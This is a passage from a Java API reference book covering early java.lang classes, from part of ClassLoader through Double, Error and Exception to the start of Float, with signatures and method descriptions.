This method finds a system resource with the given name and returns an InputStream object that is connected to the resource. The resource name can be any system resource.

Public Instance Methods

getResource

public URL getResource(String name)

Availability

New as of JDK 1.1

Parameters

name

A resource name.

Returns

A URL object that is connected to the specified resource or null if the resource cannot be found.

Description

This method finds a resource with the given name and returns a URL object that is connected to the resource.

A resource is a file that contains data (e.g., sound, images, text) and it can be part of a package. The name of a resource is a sequence of identifiers separated by "/". For example, a resource might have the name help/american/logon.html . System resources are found on the host machine using the conventions of the host implementation. For example, the "/" in the resource name may be treated as a path separator, with the entire resource name treated as a relative path to be found under a directory in CLASSPATH.

The implementation of getResource() in ClassLoader simply returns null. A subclass can override this method to provide more useful functionality.

getResourceAsStream

public InputStream getResourceAsStream(String name)

Availability

New as of JDK 1.1

Parameters

name

A resource name.

Returns

An InputStream object that is connected to the specified resource or null if the resource cannot be found.

Description

This method finds a resource with the given name and returns an InputStream object that is connected to the resource.

A resource is a file that contains data (e.g., sound, images, text) and it can be part of a package. The name of a resource is a sequence of identifiers separated by `/'. For example, a resource might have the name help/american/logon.html. System resources are found on the host machine using the conventions of the host implementation. For example, the `/' in the resource name may be treated as a path separator, with the entire resource name treated as a relative path to be found under a directory in CLASSPATH.

The implementation of getResourceAsStream() in ClassLoader simply returns null. A subclass can override this method to provide more useful functionality.

loadClass

public Class loadClass(String name) throws ClassNotFoundException

Availability

New as of JDK 1.1

Parameters

name

The name of the class to be returned. The class name should be qualified by its package name. The lack of an explicit package name specifies that the class is part of the default package.

Returns

The Class object for the specified class.

Throws

ClassNotFoundException

If it cannot find a definition for the named class.

Description

This method loads the named class by calling loadClass(name, true).

Protected Instance Methods

defineClass

 protected final Class defineClass(byte data[], int offset, int length)

Availability

Deprecated as of JDK 1.1

Parameters

data

An array that contains the byte codes that define a class.

offset

The offset in the array of byte codes.

length

The number of byte codes in the array.

Returns

The newly created Class object.

Throws

ClassFormatError

If the data array does not constitute a valid class definition.

Description

This method creates a Class object from the byte codes that define the class. Before the class can be used, it must be resolved. The method is intended to be called from an implementation of the loadClass() method.

Note that this method is deprecated as of Java 1.1. You should use the version of defineClass() that takes a name parameter and is therefore more secure.

 protected final Class defineClass(String name, byte data[], int offset, int length)

Availability

New as of JDK 1.1

Parameters

name

The expected name of the class to be defined or null if it is not known. The class name should be qualified by its package name. The lack of an explicit package name specifies that the class is part of the default package.

data

An array that contains the byte codes that define a class.

offset

The offset in the array of byte codes.

length

The number of byte codes in the array.

Returns

The newly created Class object.

Throws

ClassFormatError

If the data array does not constitute a valid class definition.

Description

This method creates a Class object from the byte codes that define the class. Before the class can be used, it must be resolved. The method is intended to be called from an implementation of the loadClass() method.

findLoadedClass

 protected final Class findLoadedClass(String name)

Availability

New as of JDK 1.1

Parameters

name

The name of the class to be returned. The class name should be qualified by its package name. The lack of an explicit package name specifies that the class is part of the default package.

Returns

The Class object for the specified loaded class or null if the class cannot be found.

Description

This method finds the specified class that has already been loaded.

findSystemClass

 protected final Class findSystemClass(String name) throws ClassNotFoundException

Parameters

name

The name of the class to be returned. The class name should be qualified by its package name. The lack of an explicit package name specifies that the class is part of the default package.

Returns

The Class object for the specified system class.

Throws

ClassNotFoundException

If the default class-loading mechanism cannot find a definition for the class.

NoClassDefFoundError

If the default class-loading mechanism cannot find the class.

Description

This method finds and loads a system class if it has not already been loaded. A system class is a class that is loaded by the default class-loading mechanism from the local filesystem. An implementation of the loadClass() method typically calls this method to attempt to load a class from the locations specified by the CLASSPATH environment variable.

loadClass

 protected abstract Class loadClass(String name, boolean resolve) throws ClassNotFoundException

Parameters

name

The name of the class to be returned. The class name should be qualified by its package name. The lack of an explicit package name specifies that the class is part of the default package.

resolve

Specifies whether or not the class should be resolved by calling the resolveClass() method.

Returns

The Class object for the specified class.

Throws

ClassNotFoundException

If it cannot find a definition for the named class.

Description

An implementation of this abstract method loads the named class and returns its Class object. It is permitted and encouraged for an implementation to cache the classes it loads, rather than load one each time the method is called. An implementation of this method should do at least the following:

  1. Load the byte codes that comprise the class definition into a byte[].

  2. Call the defineClass() method to create a Class object to represent the class definition.

  3. If the resolve parameter is true, call the resolveClass() method to resolve the class.

If an implementation of this method caches the classes that it loads, it is recommended that it use an instance of the java.util.Hashtable to implement the cache.

resolveClass

protected final void resolveClass(Class c)

Parameters

c

The Class object for the class to be resolved.

Description

This method resolves the given Class object. Resolving a class means ensuring that all of the other classes that the Class object references are loaded. In addition, all of the classes that they reference must be loaded, and so on, until all of the needed classes have been loaded.

The resolveClass() method should be called by an implementation of the loadClass() method when the value of the loadClass() method's resolve parameter is true.

setSigners

 protected final void setSigners(Class cl, Object[] signers)

Availability

New as of JDK 1.1

Parameters

cl

The Class object for the class to be signed.

signers

An array of Objects that represents the signers of this class.

Description

This method specifies the objects that represent the digital signatures for this class.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Class, ClassNotFoundException, InputStream, NoClassDefFoundError, Object, SecurityException, SecurityManager, URL

Previous | Home | Next
ClassFormatError | Book Index | ClassNotFoundException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] ClassNotFoundException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

ClassNotFoundException

Name

ClassNotFoundException

Synopsis

Class Name:

java.lang.ClassNotFoundException

Superclass:

java.lang.Exception

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A ClassNotFoundException is thrown to indicate that a class to be loaded cannot be found.

Class Summary

public class java.lang.ClassNotFoundException extends java.lang.Exception {
  // Constructors
  public ClassNotFoundException();
  public ClassNotFoundException(String s);
}

Constructors

ClassNotFoundException

public ClassNotFoundException()

Description

This constructor creates a ClassNotFoundException with no associated detail message.

public ClassNotFoundException(String s)

Parameters

s

The detail message.

Description

This constructor creates a ClassNotFoundException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, Throwable

Previous | Home | Next
ClassLoader | Book Index | Cloneable
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Cloneable

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Cloneable

Name

Cloneable

Synopsis

Interface Name:

java.lang.Cloneable

Super-interface:

None

Immediate Sub-interfaces:

java.text.CharacterIterator

Implemented by:

java.awt.GridBagConstraints, java.awt.Insets,

java.awt.image.ImageFilter,

java.text.BreakIterator,

java.text.Collator, java.text.DateFormat,

java.text.DateFormatSymbols,

java.text.DecimalFormatSymbols,

java.text.Format, java.text.NumberFormat,

java.util.BitSet, java.util.Calendar,

java.util.Date, java.util.Hashtable,

java.util.Locale, java.util.TimeZone,

java.util.Vector

Availability:

JDK 1.0 or later

Description

The Cloneable interface provides no functionality; it declares no methods or variables. This interface is simply provided as a way of indicating that an object can be cloned (that is, copied). A class that is declared as implementing this interface is assumed to have overridden the Object class' implementation of clone() with an implementation that can successfully clone instances of the class. The implementation of clone() that is provided by the Object class simply throws a CloneNotSupportedException.

Interface Declaration

public interface java.lang.Cloneable {
}

See Also

BitSet, BreakIterator, Calendar, CloneNoSupportedException, Collator, Date, DateFormat, DateFormatSymbols, DecimalFormatSymbols, Format, Hashtable, Locale, NumberFormat, TimeZone, Vector

Previous | Home | Next
ClassNotFoundException | Book Index | CloneNotSupportedException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] CloneNotSupportedException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

CloneNotSupportedException

Name

CloneNotSupportedException

Synopsis

Class Name:

java.lang.CloneNotSupportedException

Superclass:

java.lang.Exception

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A CloneNotSupportedException is thrown when the clone() method has been called for an object that does not implement the Cloneable interface and thus cannot be cloned.

Class Summary

public class java.lang.CloneNotSupportedException
             extends java.lang.Exception {
  // Constructors
  public CloneNotSupportedException();
  public CloneNotSupportedException(String s);
}

Constructors

CloneNotSupportedException

public CloneNotSupportedException()

Description

This constructor creates a CloneNotSupportedException with no associated detail message.

public CloneNotSupportedException(String s)

Parameters

s

The detail message.

Description

This constructor creates a CloneNotSupportedException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, Throwable

Previous | Home | Next
Cloneable | Book Index | Compiler
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Compiler

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Compiler

Name

Compiler

Synopsis

Class Name:

java.lang.Compiler

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Compiler class encapsulates a facility for compiling Java classes to native code. As provided by Sun, the methods of this class do not actually do anything. However, if the system property java.compiler has been defined and if the method System.loadLibrary() is able to load the library named by the property, the methods of this class use the implementations provided in the library.

The Compiler class has no public constructors, so it cannot be instantiated.

Class Summary

public final class java.lang.Compiler extends java.lang.Object {
    // Class Methods
    public static native Object command(Object any);
    public static native boolean compileClass(Class clazz);
    public static native boolean compileClasses(String string);
    public static native void disable();
    public static native void enable();
}

Class Methods

command

public static native Object command(Object any)

Parameters

any

The permissible value and its meaning is determined by the compiler library.

Returns

A value determined by the compiler library, or null if no compiler library is loaded.

Description

This method directs the compiler to perform an operation specified by the given argument. The available operations, if any, are determined by the compiler library.

compileClass

public static native boolean compileClass(Class clazz)

Parameters

clazz

The class to be compiled to native code.

Returns

true if the compilation succeeds, or false if the compilation fails or no compiler library is loaded.

Description

This method requests the compiler to compile the specified class to native code.

compileClasses

public static native boolean compileClasses(String string)

Parameters

string

A string that specifies the names of the classes to be compiled.

Returns

true if the compilation succeeds or false if the compilation fails or no compiler library is loaded.

Description

This method requests the compiler to compile all of the classes named in the string.

disable

public static native void disable()

Description

This method disables the compiler if one is loaded.

enable

public static native void enable()

Description

This method enables the compiler if one is loaded.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Object, System

Previous | Home | Next
CloneNotSupportedException | Book Index | Double
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Double

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Double

Name

Double

Synopsis

Class Name:

java.lang.Double

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Double class provides an object wrapper for a double value. This is useful when you need to treat a double value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a double value for one of these arguments, but you can provide a reference to a Double object that encapsulates the double value. Furthermore, as of JDK 1.1, the Double class is necessary to support the Reflection API and class literals.

In Java, double values are represented using the IEEE 754 format. The Double class provides constants for the three special values that are mandated by this format: POSITIVE_INFINITY, NEGATIVE_INFINITY, and NaN (not-a-number).

The Double class also provides some utility methods, such as methods for determining whether a double value is an infinity value or NaN, for converting double values to other primitive types, and for converting a double to a String and vice versa.

Class Summary

public final class java.lang.Double extends java.lang.Number {
    // Constants
    public final static double MAX_VALUE;
    public final static double MIN_VALUE;
    public final static double NaN;
    public final static double NEGATIVE_INFINITY;
    public final static double POSITIVE_INFINITY;
    public final static Class TYPE;                    // New in 1.1
    // Constructors
    public Double(double value);
    public Double(String s);
    // Class Methods
    public static native long doubleToLongBits(double value);
    public static boolean isInfinite(double v);
    public static boolean isNaN(double v);
    public static native double longBitsToDouble(long bits);
    public static String toString(double d);
    public static Double valueOf(String s);
    // Instance Methods
    public byte byteValue();                           // New in 1.1
    public double doubleValue();
    public boolean equals(Object obj);
    public float floatValue();
    public int hashCode();
    public int intValue();
    public boolean isInfinite();
    public boolean isNaN();
    public long longValue();
    public short shortValue();                         // New in 1.1
    public String toString();
}

Constants

MAX_VALUE

 public static final double MAX_VALUE = 1.79769313486231570e+308

Description

The largest value that can be represented by a double.

MIN_VALUE

 public static final double MIN_VALUE = 4.94065645841246544e-324

Description

The smallest value that can be represented by a double.

NaN

public static final double NaN = 0.0 / 0.0

Description

This variable represents the value not-a-number (NaN), which is a special value produced by double operations such as division of zero by zero. When NaN is one of the operands, most arithmetic operations return NaN as the result.

Most comparison operators (<, <=, ==, >=, >) return false when one of their arguments is NaN. The exception is !=, which returns true when one of its arguments is NaN.

NEGATIVE_INFINITY

public static final double NEGATIVE_INFINITY = -1.0 / 0.0

Description

This variable represents the value negative infinity, which is produced when a double operation underflows or a negative double value is divided by zero. Negative infinity is by definition less than any other double value.

POSITIVE_INFINITY

public static final double POSITIVE_INFINITY = 1.0 / 0.0

Description

This variable represents the value positive infinity, which is produced when a double operation overflows or a positive double value is divided by zero. Positive infinity is by definition greater than any other double value.

TYPE

public static final Class TYPE

Availability

New as of JDK 1.1

Description

The Class object that represents the type double. It is always true that Double.TYPE == double.class.

Constructors

Double

public Double(double value)

Parameters

value

The double value to be encapsulated by this object.

Description

Creates a Double object with the specified double value.

public Double(String s) throws NumberFormatException

Parameters

s

The string to be made into a Double object.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid double literal.

Description

Constructs a Double object with the value specified by the given string. The string must contain a sequence of characters that forms a legal double literal.

Class Methods

doubleToLongBits

public static native long doubleToLongBits(double value)

Parameters

value

The double value to be converted.

Returns

The long value that contains the same sequence of bits as the representation of the given double value.

Description

This method returns the long value that contains the same sequence of bits as the representation of the given double value. The meaning of the bits in the result is defined by the IEEE 754 floating-point format: bit 63 is the sign bit, bits 62-52 are the exponent, and bits 51-0 are the mantissa.

An argument of POSITIVE_INFINITY produces the result 0x7ff0000000000000L, an argument of NEGATIVE_INFINITY produces the result 0xfff0000000000000L, and an argument of NaN produces the result 0x7ff8000000000000L.

The value returned by this method can be converted back to the original double value by the longBitsToDouble() method.

isInfinite

static public boolean isInfinite(double v)

Parameters

v

The double value to be tested.

Returns

true if the specified value is equal to POSITIVE_INFINITY or NEGATIVE_INFINITY; otherwise false.

Description

This method determines whether or not the specified value is an infinity value.

isNaN

public static boolean isNaN(double v)

Parameters

v

The double value to be tested.

Returns

true if the specified value is equal to NaN; otherwise false.

Description

This method determines whether or not the specified value is NaN.

longBitsToDouble

public static native double longBitsToDouble(long bits)

Parameters

bits

The long value to be converted.

Returns

The double value whose representation is the same as the bits in the given long value.

Description

This method returns the double value whose representation is the same as the bits in the given double value. The meaning of the bits in the long value is defined by the IEEE 754 floating-point format: bit 63 is the sign bit, bits 62-52 are the exponent, and bits 51-0 are the mantissa. The argument 0x7f80000000000000L produces the result POSITIVE_INFINITY and the argument 0xff80000000000000L produces the result NEGATIVE_INFINITY. Arguments in the ranges 0x7ff0000000000001L through 0x7fffffffffffffffL and 0xfff0000000000001L through 0xffffffffffffffffL all produce the result NaN.

Except for NaN values not normally used by Java, this method is the inverse of the doubleToLongBits() method.

toString

public static String toString(double d)

Parameters

d

The double value to be converted.

Returns

A string representation of the given value.

Description

This method returns a String object that contains a representation of the given double value.

The values NaN, NEGATIVE_INFINITY, POSITIVE_INFINITY, -0.0, and +0.0 are represented by the strings "NaN", "--Infinity", "Infinity", "--0.0", and "0.0", respectively.

For other values, the exact string representation depends on the value being converted. If the absolute value of d is greater than or equal to 10^-3 or less than or equal to 10^7, it is converted to a string with an optional minus sign (if the value is negative) followed by up to eight digits before the decimal point, a decimal point, and the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit). There is always a minimum of one digit after the decimal point.

Otherwise, the value is converted to a string with an optional minus sign (if the value is negative), followed by a single digit, a decimal point, the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit), and the letter E followed by a plus or a minus sign and a base 10 exponent of at least one digit. Again, there is always a minimum of one digit after the decimal point.

Note that the definition of this method has changed as of JDK 1.1. Prior to that release, the method provided a string representation that was equivalent to the %g format of the printf function in C.

valueOf

 public static Double valueOf(String s) throws NumberFormatException

Parameters

s

The string to be made into a Double object.

Returns

The Double object constructed from the string.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid double literal.

Description

Constructs a Double object with the value specified by the given string. The string must contain a sequence of characters that forms a legal double literal. This method ignores leading and trailing white space in the string.

Instance Methods

byteValue

public byte byteValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a byte.

Overrides

Number.byteValue()

Description

This method returns the truncated value of this object as a byte. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by an byte, the method returns Byte.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by an byte, the method returns Byte.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

doubleValue

public double doubleValue()

Returns

The value of this object as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this object as a double.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Double and it contains the same value as the object this method is associated with. More specifically, the method returns true if the doubleToLongBits() method returns the same result for the values of both objects.

This method produces a different result than the == operator when both values are NaN. In this case, the == operator produces false, while this method returns true. By the same token, the method also produces a different result when the two values are +0.0 and -0.0. In this case, the == operator produces true, while this method returns false.

floatValue

public float floatValue()

Returns

The value of this object as a float.

Overrides

Number.floatValue()

Description

This method returns this object value as a float. Rounding may occur.

hashCode

public int hashCode()

Returns

A hashcode based on the double value of the object.

Overrides

Object.hashCode()

Description

This method returns a hashcode computed from the value of this object. More specifically, if d is the value of the object, and bitValue is defined as:

long bitValue = Double.doubleToLongBits(d)

then the hashcode returned by this method is computed as follows:

(int)(bitValue ^ (bitValue>>>32))

intValue

public int intValue()

Returns

The value of this object as an int.

Overrides

Number.intValue()

Description

This method returns the truncated value of this object as an int. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by an int, the method returns Integer.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by an int, the method returns Integer.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

isInfinite

public boolean isInfinite()

Returns

true if the value of this object is equal to POSITIVE_INFINITY or NEGATIVE_INFINITY; otherwise false.

Description

This method determines whether or not the value of this object is an infinity value.

isNaN

public boolean isNaN()

Returns

true if the value of this object is equal to NaN; otherwise false.

Description

This method determines whether or not the value of this object is NaN.

longValue

public long longValue()

Returns

The value of this object as a long.

Overrides

Number.longValue()

Description

This method returns the truncated value of this object as a long. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value too large to be represented by a long, the method returns Long.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value too small to be represented by a long, the method returns Long.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

shortValue

public short shortValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a short.

Overrides

Number.shortValue()

Description

This method returns the truncated value of this object as a short. More specifically, if the value of the object is NaN, the method returns 0. If the value is POSITIVE_INFINITY, or any other value that is too large to be represented by an short, the method returns Short.MAX_VALUE. If the value is NEGATIVE_INFINITY, or any other value that is too small to be represented by an short, the method returns Short.MIN_VALUE. Otherwise, the value is rounded toward zero and returned.

toString

public String toString()

Returns

A string representation of the value of this object.

Overrides

Object.toString()

Description

This method returns a String object that contains a representation of the value of this object.

The values NaN, NEGATIVE_INFINITY, POSITIVE_INFINITY, -0.0, and +0.0 are represented by the strings "NaN", "--Infinity", "Infinity", "--0.0", and "0.0", respectively.

For other values, the exact string representation depends on the value being converted. If the absolute value of this object is greater than or equal to 10^-3 or less than or equal to 10^7, it is converted to a string with an optional minus sign (if the value is negative) followed by up to eight digits before the decimal point, a decimal point, and the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit). There is always a minimum of one digit after the decimal point.

Otherwise, the value is converted to a string with an optional minus sign (if the value is negative), followed by a single digit, a decimal point, the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit), and the letter E followed by a plus or a minus sign and a base 10 exponent of at least one digit. Again, there is always a minimum of one digit after the decimal point.

Note that the definition of this method has changed as of JDK 1.1. Prior to that release, the method provided a string representation that was equivalent to the %g format of the printf function in C.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class, Float, Number, NumberFormatException, String

Previous | Home | Next
Compiler | Book Index | Error
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Error

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Error

Name

Error

Synopsis

Class Name:

java.lang.Error

Superclass:

java.lang.Throwable

Immediate Subclasses:

java.awt.AWTError, java.lang.LinkageError,

java.lang.ThreadDeath,

java.lang.VirtualMachineError

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Error class is the superclass of all of the standard error classes that can be thrown in Java. The subclasses of Error are normally thrown by the class loader, the virtual machine, or other support code. Application-specific code should not normally throw any of the standard error classes.

An Error or one of its subclasses is typically thrown when an unpredictable run-time error, such as running out of memory, occurs. Because of the unpredictable nature of the events that cause errors to be thrown, a method does not have to declare the Error class or any of its subclasses in the throws clause of its method declaration.

A Java program should not try to handle the standard error classes. Most of these error classes represent nonrecoverable errors and as such, they cause the Java run-time system to print an error message and terminate program execution.

Class Summary

public class java.lang.Error extends java.lang.Throwable {
  // Constructors
  public Error();
  public Error(String s);
}

Constructors

Error

public Error()

Description

This constructor creates an Error with no associated detail message.

public Error(String s)

Parameters

s

The detail message.

Description

This constructor creates an Error with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

LinkageError, ThreadDeath, Throwable, VirtualMachineError

Previous | Home | Next
Double | Book Index | Exception
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Exception

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Exception

Name

Exception

Synopsis

Class Name:

java.lang.Exception

Superclass:

java.lang.Throwable

Immediate Subclasses:

java.awt.AWTException,

java.awt.datatransfer.UnsupportedFlavorException,

java.io.IOException,

java.lang.ClassNotFoundException,

java.lang.CloneNotSupportedException,

java.lang.IllegalAccessException,

java.lang.InstantiationException,

java.lang.InterruptedException,

java.lang.NoSuchMethodException,

java.lang.RuntimeException,

java.lang.reflect.InvocationTargetException,

java.text.FormatException,

java.util.TooManyListenersException,

java.util.zip.DataFormatException

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Exception class is the superclass of all of the standard exception classes that can be thrown in Java. The subclasses of Exception represent exceptional conditions a normal Java program may want to handle. Any explicitly thrown object in a Java program should be an instance of a subclass of Exception.

Many of the standard exceptions are also subclasses of RuntimeException. Run-time exceptions represent run-time conditions that can occur generally in any Java method, so a method is not required to declare that it throws any of the run-time exceptions. However, if a method can throw any of the other standard exceptions, it must declare them in its throws clause.

A Java program should try to handle all of the standard exception classes, since they represent routine abnormal conditions that should be anticipated and caught to prevent program termination.

Class Summary

public class java.lang.Exception extends java.lang.Throwable {
  // Constructors
  public Exception();
  public Exception(String s);
}

Constructors

Exception

public Exception()

Description

This constructor creates an Exception with no associated detail message.

public Exception(String s)

Parameters

s

The detail message.

Description

This constructor creates an Exception with the specified message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

ClassNotFoundException, CloneNotSupportedException, DataFormatException, FormatException, IllegalAccessException, InstantiationException, InvocationTargetException, InterruptedException, NoSuchMethodException, RuntimeException, Throwable, TooManyListenersException

Previous | Home | Next
Error | Book Index | ExceptionInInitializerError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] ExceptionInInitializerError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

ExceptionInInitializerError

Name

ExceptionInInitializerError

Synopsis

Class Name:

java.lang.ExceptionInInitializerError

Superclass:

java.lang.LinkageError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A ExceptionInInitializerError is thrown when an unexpected exception has been thrown in a static initializer.

Class Summary

public class java.lang.ExceptionInInitializer
             extends java.lang.LinkageError {
  // Constructors
  public ExceptionInInitializerError();
  public ExceptionInInitializerError(Throwable thrown);
  public ExceptionInInitializerError(String s);
  // Instance Methods
  public Throwable getException();
}

Constructors

ExceptionInInitializerError

public ExceptionInInitializerError()

Description

This constructor creates an ExceptionInInitializerError with no associated detail message.

public ExceptionInInitializerError(Throwable thrown)

Parameters

thrown

The exception that was thrown in the static initializer.

Description

This constructor creates an ExceptionInInitializerError that refers to the specified exception.

public ExceptionInInitializerError(String s)

Parameters

s

The detail message.

Description

This constructor creates an ExceptionInInitializerError with the specified detail message.

Instance Methods

getException

public Throwable getException()

Returns

The exception object that was thrown in the static initializer.

Description

This methods returns the exception that caused this error to be thrown.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, LinkageError, Throwable

Previous | Home | Next
Exception | Book Index | Float
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Float

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Float

Name

Float

Synopsis

Class Name:

java.lang.Float

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Float class provides an object wrapper for a float value. This is useful when you need to treat a float value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a float value for one of these arguments, but you can provide a reference to a Float object that encapsulates the float value. Furthermore, as of JDK 1.1, the Float class is necessary to support the Reflection API and class literals.

In Java, float values are represented using the IEEE 754 format. The Float class provides constants for the three special values that are mandated by this format: POSITIVE_INFINITY, NEGATIVE_INFINITY, and NaN (not-a-number).

The Float class also provides some utility methods, such as methods for determining whether a floatx value is an infinity value or NaN, for converting float values to other primitive types, and for converting a float to a String and vice versa.

Class Summary

public final class java.lang.Float extends java.lang.Number {
    // Constants
    public static final float MIN_VALUE;
    public static final float MAX_VALUE;
    public static final float NaN;
    public static final float NEGATIVE_INFINITY;
    public static final float POSITIVE_INFINITY;
    public final static Class TYPE;                    // New in 1.1
    // Constructors
    public Float(double value);
    public Float(float value);
    public Float(String s);
    // Class Methods
    public static native int floatToIntBits(float value);
    public static native float intBitsToFloat(int bits);
    public static boolean isInfinite(float v);
    public static boolean isNaN(float v);
    public static String toString(float f);
    public static Float valueOf(String s);
    // Instance Methods
    public byte byteValue();                           // New in 1.1
    public double doubleValue();
    public boolean equals(Object obj);
    public float floatValue();
    public int hashCode();
    public int intValue();
    public boolean isInfinite();
    public boolean isNaN();
    public long longValue();
    public short shortValue();                         // New in 1.1
    public String toString();
}

Constants

MAX_VALUE

public static final float MAX_VALUE = 3.40282346638528860e+38f

Description

The largest value that can be represented by a float.

MIN_VALUE

public static final float MIN_VALUE = 1.40129846432481707e-45f

Description

The smallest value that can be represented by a float.

NaN

public static final float NaN = 0.0f / 0.0f

Description

This variable represents the value NaN, a special value produced by float operations such as division of zero by zero. When NaN is one of the operands, most arithmetic operations return NaN as the result. Most comparison operators (<, <=, ==, >=, >) return false when one of their arguments is NaN. The exception is !=, which returns true when one of its arguments is NaN.

NEGATIVE_INFINITY

public static final float NEGATIVE_INFINITY = -1.0f / 0.0f

Description

This variable represents the value negative infinity, which is produced when a float operation underflows or a negative float value is divided by zero. Negative infinity is by definition less than any other float value.

POSITIVE_INFINITY

public static final float POSITIVE_INFINITY = 1.0f / 0.0f

Description

This variable represents the value positive infinity, which is produced when a float operation overflows or a positive float value is divided by zero. Positive infinity is by definition greater than any other float value.

TYPE

